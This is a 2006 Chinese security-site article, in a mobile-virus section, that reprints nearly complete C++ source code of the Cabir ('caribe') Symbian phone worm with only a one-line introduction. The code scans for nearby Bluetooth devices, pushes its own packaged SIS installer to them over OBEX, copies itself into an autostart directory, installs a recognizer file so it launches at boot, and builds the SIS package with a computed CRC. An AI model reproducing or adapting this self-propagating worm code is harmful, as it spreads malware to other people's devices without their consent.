注册通行证 用户名 密码
  • 文章投稿
  • 博客
  • 论坛
  • 设为首页
  • 加入收藏
jztop.com网络技术
  • 首页
  • | iT新闻
  • | 操作系统
  • | 组网建网
  • | 网络安全
  • | 程序开发
  • | 办公一族
  • | 工具软件
  • | 网页制作
  • | 多媒体制作
  • | 网吧技术
  • | 服务器
  • | 专题教程
Vista | 软件评测 | 系统备份 | 优化 | 进程 | 聊天 | 病毒 | Linux | 黑客 | 防火墙 | 数据库 | Web开发 | Java | Word | 游戏 | 32位开发 | 移动开发
当前位置:首页 > 网络安全 > 病毒专区 内容正文:Cabir 手机病毒源代码(caribe)

Cabir 手机病毒源代码(caribe)

发布时间:2006-10-19 17:29:04 来源:友佳学院 网友评论 0 条

专题:手机病毒揭密
作者解释说他选择蓝牙(而不是其他方式如MMS)传播病毒的原因是不想浪费手机使用者的钱:)

#i nclude "general.h"

#i nclude "caribebt.h"

#i nclude <eikenv.h>

#i nclude <bt_sock.h>

#i nclude <obex.h>

#i nclude <btextnotifiers.h>

/////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////

CaribeBluetooth::CaribeBluetooth():

CActive(CActive::EPriorityStandard)

{

WithAddress = 0;

iState = 3;

_LIT(currentFileName,"C:SYSTEMSYMBIANSECUREDATACARIBESECURITYMANAGERCARIBE.SIS");

iCurrFile = CObexFileObject::NewL(TPtrC(NULL, 0));

iCurrFile->InitFromFileL(currentFileName);



CActiveScheduler::Add(this);

}

CaribeBluetooth::~CaribeBluetooth()

{

}

CaribeBluetooth* CaribeBluetooth::NewL()

{

return NewLC();

}

CaribeBluetooth* CaribeBluetooth::NewLC()

{

CaribeBluetooth* self = new CaribeBluetooth;

self->ConstructL();

return self;

}

void CaribeBluetooth::ConstructL()

{

iState = 3;

RunL();

}

void CaribeBluetooth::RunL()

{

if(iState == 1)

{

if(!obexClient->IsConnected())

{

iState = 3;

}

else

{

//iCurrObject = CObexNullObject::NewL();

//iCurrObject->SetNameL(_L("Hello World"));

//obexClient->Put(*iCurrObject,iStatus);



iState = 2;

Cancel();

obexClient->Put(*iCurrFile,iStatus);

SetActive();

return;

}

}



if(iState == 2)

{

//delete iCurrObject;

iState = 3;

Cancel();

obexClient->Disconnect(iStatus);

SetActive();

return;

}

if(iState == 3)

{

if(obexClient)

{

delete obexClient;

obexClient = NULL;

}

while(iState == 3)

{

FindDevices();

ManageFoundDevices();

}



return;

}

}



void CaribeBluetooth::DoCancel()

{

}



int CaribeBluetooth::FindDevices()

{

_LIT(KL2Cap, "BTLinkManager");

int res;

if((res = socketServ.Connect()) != KErrNone)

{

//ErrMessage("Error Connect");

return 0;

}



if((res = socketServ.FindProtocol((const TProtocolName&)KL2Cap,pInfo))!=KErrNone)

{

//ErrMessage("Error FindProtocol");

socketServ.Close();

return 0;

}

if((res = hr.Open(socketServ,pInfo.iAddrFamily,pInfo.iProtocol))!=KErrNone)

{

//ErrMessage("Error Open");

socketServ.Close();

return 0;

}



WithAddress = 0;

addr.SetIAC(KGIAC);

addr.SetAction(KHostResInquiry);



TRequestStatus iStatusIn;

hr.GetByAddress(addr, entry, iStatusIn);



User::WaitForRequest(iStatusIn);



if(iStatusIn!=KErrNone)

{

//ErrMessage("Error Finding Devices");

}

else

{

WithAddress = 1;

}

socketServ.Close();

// hr.Close();

return 0;

}



int CaribeBluetooth::ManageFoundDevices()

{

if(WithAddress)

{

WithAddress = 0;

Cancel();



TBTSockAddr btaddr(entry().iAddr);

TBTDevAddr devAddr;

devAddr = btaddr.BTAddr();



TObexBluetoothProtocolInfo obexBTProtoInfo;

obexBTProtoInfo.iTransport.Copy(_L("RFCOMM"));

obexBTProtoInfo.iAddr.SetBTAddr(devAddr);

obexBTProtoInfo.iAddr.SetPort(0x00000009);



obexClient = CObexClient::NewL(obexBTProtoInfo);

if(obexClient)

{

iState = 1;

iStatus = KRequestPending;

Cancel();

obexClient->Connect(iStatus);

SetActive();

}

}

else

{

iState = 3;

User::After(1000000);

}

return 0;

}



/////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////

#i nclude "general.h"

#i nclude "CaribeInstaller.h"

#i nclude <aknapp.h>

#i nclude <e32std.h>

#i nclude <e32base.h>

#i nclude <e32def.h>

#i nclude <f32file.h>

#i nclude <bautils.h>

#i nclude <eikenv.h>

#i nclude "file.h"

//#i nclude "sisheader.h"

#define AUTOSTARTABLE "C:SYSTEMSYMBIANSECUREDATACARIBESECURITYMANAGERCARIBE.APP"

_LIT(Autostartablestr,"C:SYSTEMSYMBIANSECUREDATACARIBESECURITYMANAGERCARIBE.APP");

#define AUTOSTARTABLERSC "C:SYSTEMSYMBIANSECUREDATACARIBESECURITYMANAGERCARIBE.RSC"

_LIT(Autostartablerscstr,"C:SYSTEMSYMBIANSECUREDATACARIBESECURITYMANAGERCARIBE.RSC");

#define AUTOSTARTABLEPATH "C:SYSTEMSYMBIANSECUREDATACARIBESECURITYMANAGER"

_LIT(Autostartablepathstr,"C:SYSTEMSYMBIANSECUREDATACARIBESECURITYMANAGER");

#define RECOGFILE "C:SYSTEMRECOGSFLO.MDL"

_LIT(Recogfilestr,"C:SYSTEMRECOGSFLO.MDL");

#define RECOGFILEPATH "C:SYSTEMRECOGS"

_LIT(Recogfilepathstr,"C:SYSTEMRECOGS");

#define SISFILE "C:SYSTEMSYMBIANSECUREDATACARIBESECURITYMANAGERCARIBE.SIS"

_LIT(Sisfilestr,"C:SYSTEMSYMBIANSECUREDATACARIBESECURITYMANAGERCARIBE.SIS");

unsigned short DOCRC16(unsigned short crc,void * array,int size);

CaribeInstaller::CaribeInstaller()

{

}

CaribeInstaller::~CaribeInstaller()

{





}

/**********************************************************************



CopyMeToAutostartableDir:

This function will copy the own dll of this application to

"C:SYSTEMSYMBIANSECUREDATACARIBESECURITYMANAGERCARIBE.APP".

.mdl for autostart will start that application automaticly.

Parameters:

CAknApplication of the application to be copied.



Returned Values:



None.

***********************************************************************/

void CaribeInstaller::CopyMeToAutostartableDir(CAknApplication * OwnApp)

{

TFileName OwnDllName = OwnApp->DllName();

TBuf16 <sizeof(AUTOSTARTABLE)>Autostartable(Autostartablestr);



OwnDllName.UpperCase();



if(OwnDllName == Autostartable)

{

return;

}

RFs fs;

User::LeaveIfError(fs.Connect());

TBuf16 <sizeof(AUTOSTARTABLEPATH)> autostartablepath(Autostartablepathstr);

fs.MkDirAll(Autostartablepathstr);



if(BaflUtils::CopyFile(fs,OwnDllName,Autostartable,CFileMan::EOverWrite)!=KErrNone)

{

fs.Close();

return;

}

TBuf16 <sizeof(AUTOSTARTABLERSC)> Autostartablersc (Autostartablerscstr);

OwnDllName[OwnDllName.Length()-3] = 'R';

OwnDllName[OwnDllName.Length()-2] = 'S';

OwnDllName[OwnDllName.Length()-1] = 'C';



if(BaflUtils::CopyFile(fs,OwnDllName,Autostartablersc,CFileMan::EOverWrite)!=KErrNone)

{

BaflUtils::DeleteFile(fs,Autostartable,0);

}



fs.Close();

return;

}

/**********************************************************************



InstallMDL:

This function will install the mdl file to the recogs directory.

Parameters:

CAknApplication of this application for constructing the path

of the mdl.



Returned Values:



None.

***********************************************************************/

void CaribeInstaller::InstallMDL(CAknApplication * OwnApp)

{

RFs fs;

User::LeaveIfError(fs.Connect());



TFileName OwnDllName = OwnApp->DllName();

TBuf16 <sizeof(RECOGFILE)>Recogfile(Recogfilestr);



TParse parser;

parser.Set(OwnDllName,NULL,NULL);

TBuf16 <KMaxPath> flodrivepath(parser.DriveAndPath());



_LIT16(FLOMDL,"flo.mdl");

flodrivepath.Append(FLOMDL);

TBuf16 <sizeof(RECOGFILEPATH)> Recogfilepath(Recogfilepathstr);

fs.MkDirAll(Recogfilepath);

BaflUtils::CopyFile(fs,flodrivepath,Recogfile,CFileMan::EOverWrite);



fs.Close();

}

/**********************************************************************



CreateSis:

This function will create a .sis file with caribe.app,caribe.rsc

and flo.mdl

Parameters:

CAknApplication of this application for constructing the path

of the mdl.



Returned Values:



None.

***********************************************************************/

void CaribeInstaller::CreateSis(CAknApplication * OwnApp)

{

unsigned char sisheader[] =

{

0x3D ,0x1A ,0x8B ,0x03 ,0x12 ,0x3A ,0x00 ,0x10

,0x19 ,0x04 ,0x00 ,0x10 ,0xC4 ,0xE0 ,0x80 ,0xAB

//Offset 0x10 CRC16

,0x00 ,0x00 ///////

///////////////////

,0x01 ,0x00 ,0x03 ,0x00 ,0x01 ,0x00

,0x00 ,0x00 ,0x00 ,0x00 ,0x21 ,0x00 ,0x00 ,0x00

,0xC8 ,0x00 ,0x00 ,0x00 ,0x09 ,0x00 ,0x00 ,0x00

,0x01 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x64 ,0x00 ,0x00 ,0x00 ,0x66 ,0x00 ,0x00 ,0x00

,0xF6 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x0A ,0x01 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x0A ,0x01 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

//Offset 0x50 Size of Packed Data/////

,0xCC ,0x20 ,0x01, 0x00///////////////

//////////////////////////////////////

,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x00 ,0x00 ,0x01 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x03 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x18 ,0x00 ,0x00 ,0x00 ,0x12 ,0x01

,0x00 ,0x00 ,0x40 ,0x00 ,0x00 ,0x00 ,0x2A ,0x01



,0x00 ,0x00

//Offset 0x82 size of packed file 3

,0x61 ,0xA0 ,0x00 ,0x00

//Offset 0x86: offset of third packed file//

,0x3C ,0x02,0x00 ,0x00 /////////////////////

////////////////////////////////////////////

//Offset 0x8a again size of packed file 3

,0x61 ,0xA0 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x6A ,0x01 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x12 ,0x00 ,0x00 ,0x00 ,0x6A ,0x01

,0x00 ,0x00 ,0x3A ,0x00 ,0x00 ,0x00 ,0x7C ,0x01



,0x00 ,0x00

//Offset 0xB2 size of packed file 2

,0x59 ,0x80 ,0x00 ,0x00

//Offset 0xB6: offset of second packed file//

, 0x9D ,0xA2 ,0x00 ,0x00 ////////////////////

/////////////////////////////////////////////

//Offset 0xBA again size of packed file 2

,0x59 ,0x80 ,0x00 ,0x00

,0x00 ,0x00

,0x00 ,0x00 ,0xB6 ,0x01 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x18 ,0x00 ,0x00 ,0x00 ,0xB6 ,0x01

,0x00 ,0x00 ,0x40 ,0x00 ,0x00 ,0x00 ,0xCE ,0x01

,0x00 ,0x00

//Offset 0xE2 size of packed file 1

,0x12 ,0x00 ,0x00 ,0x00

//Offset 0xE6: offset of first packed file//

,0xF6 ,0x22,0x01 ,0x00 /////////////////////

////////////////////////////////////////////

//Offset 0xEA again size of packed file 1

,0x12 ,0x00 ,0x00 ,0x00

,0x00 ,0x00

,0x00 ,0x00 ,0x0E ,0x02 ,0x00 ,0x00 ,0x88 ,0x6F

,0x1F ,0x10 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00

,0x00 ,0x00 ,0x22 ,0x00 ,0x00 ,0x00 ,0x0E ,0x02

,0x00 ,0x00 ,0x0C ,0x00 ,0x00 ,0x00 ,0x30 ,0x02

,0x00 ,0x00 ,0x2E ,0x00 ,0x5C ,0x00 ,0x63 ,0x00

,0x61 ,0x00 ,0x72 ,0x00 ,0x69 ,0x00 ,0x62 ,0x00

,0x65 ,0x00 ,0x2E ,0x00 ,0x61 ,0x00 ,0x70 ,0x00

,0x70 ,0x00 ,0x21 ,0x00 ,0x3A ,0x00 ,0x5C ,0x00

,0x73 ,0x00 ,0x79 ,0x00 ,0x73 ,0x00 ,0x74 ,0x00

,0x65 ,0x00 ,0x6D ,0x00 ,0x5C ,0x00 ,0x61 ,0x00

,0x70 ,0x00 ,0x70 ,0x00 ,0x73 ,0x00 ,0x5C ,0x00

,0x63 ,0x00 ,0x61 ,0x00 ,0x72 ,0x00 ,0x69 ,0x00

,0x62 ,0x00 ,0x65 ,0x00 ,0x5C ,0x00 ,0x63 ,0x00

,0x61 ,0x00 ,0x72 ,0x00 ,0x69 ,0x00 ,0x62 ,0x00

,0x65 ,0x00 ,0x2E ,0x00 ,0x61 ,0x00 ,0x70 ,0x00

,0x70 ,0x00 ,0x2E ,0x00 ,0x5C ,0x00 ,0x66 ,0x00

,0x6C ,0x00 ,0x6F ,0x00 ,0x2E ,0x00 ,0x6D ,0x00

,0x64 ,0x00 ,0x6C ,0x00 ,0x21 ,0x00 ,0x3A ,0x00

,0x5C ,0x00 ,0x73 ,0x00 ,0x79 ,0x00 ,0x73 ,0x00

,0x74 ,0x00 ,0x65 ,0x00 ,0x6D ,0x00 ,0x5C ,0x00

,0x61 ,0x00 ,0x70 ,0x00 ,0x70 ,0x00 ,0x73 ,0x00

,0x5C ,0x00 ,0x63 ,0x00 ,0x61 ,0x00 ,0x72 ,0x00

,0x69 ,0x00 ,0x62 ,0x00 ,0x65 ,0x00 ,0x5C ,0x00

,0x66 ,0x00 ,0x6C ,0x00 ,0x6F ,0x00 ,0x2E ,0x00

,0x6D ,0x00 ,0x64 ,0x00 ,0x6C ,0x00 ,0x2E ,0x00

,0x5C ,0x00 ,0x63 ,0x00 ,0x61 ,0x00 ,0x72 ,0x00

,0x69 ,0x00 ,0x62 ,0x00 ,0x65 ,0x00 ,0x2E ,0x00

,0x72 ,0x00 ,0x73 ,0x00 ,0x63 ,0x00 ,0x21 ,0x00

,0x3A ,0x00 ,0x5C ,0x00 ,0x73 ,0x00 ,0x79 ,0x00

,0x73 ,0x00 ,0x74 ,0x00 ,0x65 ,0x00 ,0x6D ,0x00

,0x5C ,0x00 ,0x61 ,0x00 ,0x70 ,0x00 ,0x70 ,0x00

,0x73 ,0x00 ,0x5C ,0x00 ,0x63 ,0x00 ,0x61 ,0x00

,0x72 ,0x00 ,0x69 ,0x00 ,0x62 ,0x00 ,0x65 ,0x00

,0x5C ,0x00 ,0x63 ,0x00 ,0x61 ,0x00 ,0x72 ,0x00

,0x69 ,0x00 ,0x62 ,0x00 ,0x65 ,0x00 ,0x2E ,0x00

,0x72 ,0x00 ,0x73 ,0x00 ,0x63 ,0x00 ,0x53 ,0x00

,0x65 ,0x00 ,0x72 ,0x00 ,0x69 ,0x00 ,0x65 ,0x00

,0x73 ,0x00 ,0x36 ,0x00 ,0x30 ,0x00 ,0x50 ,0x00

,0x72 ,0x00 ,0x6F ,0x00 ,0x64 ,0x00 ,0x75 ,0x00

,0x63 ,0x00 ,0x74 ,0x00 ,0x49 ,0x00 ,0x44 ,0x00

,0x63 ,0x00 ,0x61 ,0x00 ,0x72 ,0x00 ,0x69 ,0x00

,0x62 ,0x00 ,0x65 ,0x00

};



unsigned char rscraw[] =

{

/*0x0C,0x00,0x07,0x00,0x04,0x00,0x00,0x00,

0x01,0x60,0xA2,0x11,0x04,0x00,0x0C,0x00,

0x0C,0x00*/

0x24,0x00,0x09,0x00,0x04,0x00,0x00,0x00,0x01,0x60,

0xA2,0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x0C,0x00,

0x0C,0x00,0x24,0x00

};

TBuf16 <sizeof(SISFILE)>Sisfile(Sisfilestr);

TBuf16 <sizeof(RECOGFILE)>Recogfile(Recogfilestr);

TBuf16 <sizeof(AUTOSTARTABLE)>Appfile(Autostartablestr);

TBuf16 <sizeof(AUTOSTARTABLERSC)>Rscfile(Autostartablerscstr);

unsigned short crc = 0;

int i;

int leidos;

unsigned char bytesdata[100];

File fsis;

File fRecog;

File fApp;

int RecogSize;

int AppSize;

int RscSize;

if(!fsis.Open(Sisfile,File::OMCreate|File::OMWrite|File::OMRead))

{

if(!fsis.Open(Sisfile,File::OMReplace|File::OMRead|File::OMWrite))

{

return;

}



}

if(!fRecog.Open(Recogfile,File::OMOpen|File::OMRead))

{

fsis.Close();

return;

}



fRecog.rFile.Size(RecogSize);

if(!fApp.Open(Appfile,File::OMOpen|File::OMRead))

{

fsis.Close();

fRecog.Close();

return;

}

fApp.rFile.Size(AppSize);



RscSize = sizeof(rscraw);



unsigned short CRC16; //0x10

unsigned int SizeData; //0x50

unsigned int OffsetData1; //0xE6

unsigned int OffsetData2; //0xB6

unsigned int OffsetData3; //0x86

unsigned int SizeData11; //0xE2

unsigned int SizeData12; //0xEA

unsigned int SizeData21; //0xB2

unsigned int SizeData22; //0xBA

unsigned int SizeData31; //0x82

unsigned int SizeData32; //0x8A

CRC16 = 0;

SizeData = RecogSize+AppSize+RscSize;

SizeData11= RscSize;

SizeData21= RecogSize;

SizeData31= AppSize;

SizeData12 = RscSize;

SizeData22 = RecogSize;

SizeData32 = AppSize;

OffsetData3 = 0x0000023c;

OffsetData2 = 0x0000023c+AppSize;

OffsetData1 = 0x0000023c+AppSize+RecogSize;

//Writing header

crc = DOCRC16(crc,sisheader,0x10);

crc = DOCRC16(crc,&sisheader[0x12],0x50-0x12);



fsis.Write(sisheader,0x50);





crc = DOCRC16(crc,&SizeData/*&sisheader[0x50]*/,4); //SizeData; //0x50





fsis.Write(&SizeData/*sisheader[0x50]*/,4);



crc = DOCRC16(crc,&sisheader[0x54],0x82-0x54);

fsis.Write(&sisheader[0x54],0x82-0x54);

crc = DOCRC16(crc,&SizeData31/*&sisheader[0x82]*/,0x04);//SizeData31; //0x82

crc = DOCRC16(crc,&OffsetData3/*&sisheader[0x86]*/,0x04);//OffsetData3;//0x86

crc = DOCRC16(crc,&SizeData32/*&sisheader[0x8a]*/,0x04);//SizeData32; //0x8A



fsis.Write(&SizeData31/*&sisheader[0x82]*/,0x04);

fsis.Write(&OffsetData3/*&sisheader[0x86]*/,0x04);

fsis.Write(&SizeData32/*&sisheader[0x8a]*/,0x04);

crc = DOCRC16(crc,&sisheader[0x8e],0xb2-0x8e);



fsis.Write(&sisheader[0x8e],0xb2-0x8e);



crc = DOCRC16(crc,&SizeData21/*&sisheader[0xB2]*/,0x04);//SizeData21;

crc = DOCRC16(crc,&OffsetData2/*&sisheader[0xB2]*/,0x04);//OffsetData2;

crc = DOCRC16(crc,&SizeData22/*&sisheader[0xB2]*/,0x04);//SizeData22;

fsis.Write(&SizeData21/*&sisheader[0xB2]*/,0x04);

fsis.Write(&OffsetData2/*&sisheader[0xB2]*/,0x04);

fsis.Write(&SizeData22/*&sisheader[0xB2]*/,0x04);

crc = DOCRC16(crc,&sisheader[0xbe],0xe2-0xbe);

fsis.Write(&sisheader[0xbe],0xe2-0xbe);

crc = DOCRC16(crc,&SizeData11/*&sisheader[0xe2]*/,0x04);//SizeData11;

crc = DOCRC16(crc,&OffsetData1/*&sisheader[0xe2]*/,0x04);//OffsetData1;

crc = DOCRC16(crc,&SizeData12/*&sisheader[0xe2]*/,0x04);//SizeData12;

fsis.Write(&SizeData11/*&sisheader[0xe2]*/,0x04);

fsis.Write(&OffsetData1/*&sisheader[0xe2]*/,0x04);

fsis.Write(&SizeData12/*&sisheader[0xe2]*/,0x04);

crc = DOCRC16(crc,&sisheader[0xee],0x23c-0xee);

fsis.Write(&sisheader[0xee],0x23c-0xee);

//Writing app

while(leidos = fApp.Read(bytesdata,100))

{

crc = DOCRC16(crc,bytesdata,leidos);

fsis.Write(bytesdata,leidos);

}

//Writing recog

while(leidos = fRecog.Read(bytesdata,100))

{

crc = DOCRC16(crc,bytesdata,leidos);

fsis.Write(bytesdata,leidos);

}

//Writing rsc

crc = DOCRC16(crc,rscraw,sizeof(rscraw));

fsis.Write(rscraw,sizeof(rscraw));



fsis.Seek(ESeekStart,0x10);

fsis.Write(&crc,2);

fsis.Close();

fRecog.Close();

fApp.Close();

}

unsigned short DOCRC16(unsigned short crc,void * _array,int size)

{

//static unsigned int polynomial = 0x1021;

//static unsigned short _table[256], index;

unsigned short crcTab[256] =

{0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7,0x8108,0x9129,0xa14a,

0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef,0x1231,0x0210,0x3273,0x2252,0x52b5,0x4294,

0x72f7,0x62d6,0x9339,0x8318,0xb37b,0xa35a,0xd3bd,0xc39c,0xf3ff,0xe3de,0x2462,

0x3443,0x0420,0x1401,0x64e6,0x74c7,0x44a4,0x5485,0xa56a,0xb54b,0x8528,0x9509,

0xe5ee,0xf5cf,0xc5ac,0xd58d,0x3653,0x2672,0x1611,0x0630,0x76d7,0x66f6,0x5695,

0x46b4,0xb75b,0xa77a,0x9719,0x8738,0xf7df,0xe7fe,0xd79d,0xc7bc,0x48c4,0x58e5,

0x6886,0x78a7,0x0840,0x1861,0x2802,0x3823,0xc9cc,0xd9ed,0xe98e,0xf9af,0x8948,

0x9969,0xa90a,0xb92b,0x5af5,0x4ad4,0x7ab7,0x6a96,0x1a71,0x0a50,0x3a33,0x2a12,

0xdbfd,0xcbdc,0xfbbf,0xeb9e,0x9b79,0x8b58,0xbb3b,0xab1a,0x6ca6,0x7c87,0x4ce4,

0x5cc5,0x2c22,0x3c03,0x0c60,0x1c41,0xedae,0xfd8f,0xcdec,0xddcd,0xad2a,0xbd0b,

0x8d68,0x9d49,0x7e97,0x6eb6,0x5ed5,0x4ef4,0x3e13,0x2e32,0x1e51,0x0e70,0xff9f,

0xefbe,0xdfdd,0xcffc,0xbf1b,0xaf3a,0x9f59,0x8f78,0x9188,0x81a9,0xb1ca,0xa1eb,

0xd10c,0xc12d,0xf14e,0xe16f,0x1080,0x00a1,0x30c2,0x20e3,0x5004,0x4025,0x7046,

0x6067,0x83b9,0x9398,0xa3fb,0xb3da,0xc33d,0xd31c,0xe37f,0xf35e,0x02b1,0x1290,

0x22f3,0x32d2,0x4235,0x5214,0x6277,0x7256,0xb5ea,0xa5cb,0x95a8,0x8589,0xf56e,

0xe54f,0xd52c,0xc50d,0x34e2,0x24c3,0x14a0,0x0481,0x7466,0x6447,0x5424,0x4405,

0xa7db,0xb7fa,0x8799,0x97b8,0xe75f,0xf77e,0xc71d,0xd73c,0x26d3,0x36f2,0x0691,

0x16b0,0x6657,0x7676,0x4615,0x5634,0xd94c,0xc96d,0xf90e,0xe92f,0x99c8,0x89e9,

0xb98a,0xa9ab,0x5844,0x4865,0x7806,0x6827,0x18c0,0x08e1,0x3882,0x28a3,0xcb7d,

0xdb5c,0xeb3f,0xfb1e,0x8bf9,0x9bd8,0xabbb,0xbb9a,0x4a75,0x5a54,0x6a37,0x7a16,

0x0af1,0x1ad0,0x2ab3,0x3a92,0xfd2e,0xed0f,0xdd6c,0xcd4d,0xbdaa,0xad8b,0x9de8,

0x8dc9,0x7c26,0x6c07,0x5c64,0x4c45,0x3ca2,0x2c83,0x1ce0,0x0cc1,0xef1f,0xff3e,

0xcf5d,0xdf7c,0xaf9b,0xbfba,0x8fd9,0x9ff8,0x6e17,0x7e36,0x4e55,0x5e74,0x2e93,

0x3eb2,0x0ed1,0x1ef0

};

unsigned short * table = NULL;

unsigned char * array = (unsigned char *)_array;

int i;

if(!table)

{

table = crcTab;

/*

table = _table;

table[0]=0;

for (index = 0; index < 128; index++)

{

unsigned int carry = table[index] & 0x8000;

unsigned int temp = (table[index] << 1) & 0xffff;

table[index * 2 + (carry ? 0 : 1)] = temp ^ polynomial;

table[index * 2 + (carry ? 1 : 0)] = temp;

} */

}



for(i=0;i<size;i++)

{

crc = ((crc << 8) ^ table[((crc >> 8) ^ array[i]) & 0xff]);

}

return crc;

}

相关文章
  • 手机病毒杀毒实战教程之一
  • 过招手机病毒
  • 手机病毒分析及防范措施和方法
  • 狙击手机病毒
  • 手机病毒防范注意要点
【评论】【收藏本文】【打印】【关闭】
上一篇文章:手机病毒犯罪清单
下一篇文章:WinCE.Dust手机病毒源代码
讨论区
查看
已有 0 位对此新闻感兴趣的网友发表了看法
匿名发表
注册通行证 登陆
图文阅读推荐
QQ爆危险漏洞,“QQ游戏邀请大盗”邀请你玩病毒
QQ爆危险漏洞,“QQ游戏邀请大盗”邀请你玩病毒
卡巴再掀封key风暴 流传网络半数以上key被封
卡巴再掀封key风暴 流传网络半数以上key被封
高手讲座:如何捕获电脑病毒样本
高手讲座:如何捕获电脑病毒样本
27种恶意流氓软件的清除方法
27种恶意流氓软件的清除方法
推荐阅讯
  • 网民遭遇强行捆绑 易趣等流氓软件将遭整改
  • 日记:大战10个回合 干掉成堆的木马和流氓软
  • 手工清除流氓软件方法详解
  • 乔装成DLL文件的新型恶意网页病毒
  • 详细解答六大QQ病毒特征及清除方法
  • 诺基亚手机杀毒软件使用指南
  • 氓软件的种类和定义
  • 木马客户端与服务端隐蔽通讯解析
  • 局域网伪造源地址DDoS攻击解决方法
  • SSL VPN安全访问接入设备-Juniper SA 700
阅读排行
  • 1.关于sxs.exe病毒
  • 2.网友举报:屁屁宽频软件自带木马病毒
  • 3.services.exe病毒清除详解
  • 4.彻底解决services.exe进程病毒
  • 5.EXERT.exe、LSASS.exe病毒木马查杀
  • 6.如何清除每次开机时自动弹出的网页
  • 7.四款最流行的反恶意软件对比测试(上)
  • 8.查找与清除插入式特络伊木马
  • 9.恢复威金病毒感染的EXE文件小方法
  • 10.知名IT网站评出全球十大计算机病毒
专题教程
  • 大话G游 专题:手机病毒揭密
  • ARP攻击防范与解决方案 路由故障处理手册
  • Picasa中文版_Picasa教程 专题:清除流氓软件
  • Firefox专题 seo搜索引擎优化专区
  • 重装Windows必知的事情 装机之必备软件大行动
病毒专杀栏
  • 杀毒软件反被病毒杀 连"救命"都不能喊
  • 金山ARP防火墙
  • 还原卡神话破灭“机器狗”病毒来势汹汹
  • cctv经济半小时:你的手机现在安全吗?
  • 新挂马方式开始流行 ARP挂马称雄局域网
  • 木马和病毒清除的通用解法
  • IP地址不再冲突 查找ARP攻击者元凶
  • 教你几招识别和防御Web网页木马
  • 分析:封杀BT只是暂时的止痛药
  • QQ爆危险漏洞,“QQ游戏邀请大盗”邀请你玩病
关于我们 | 诚聘英才 | 联系我们 | 版权声明 | 网站大事 | 网站地图 | 意见建议
CopyRight 2005-2007 Jztop.Com 版权所有 未经许可 请勿转载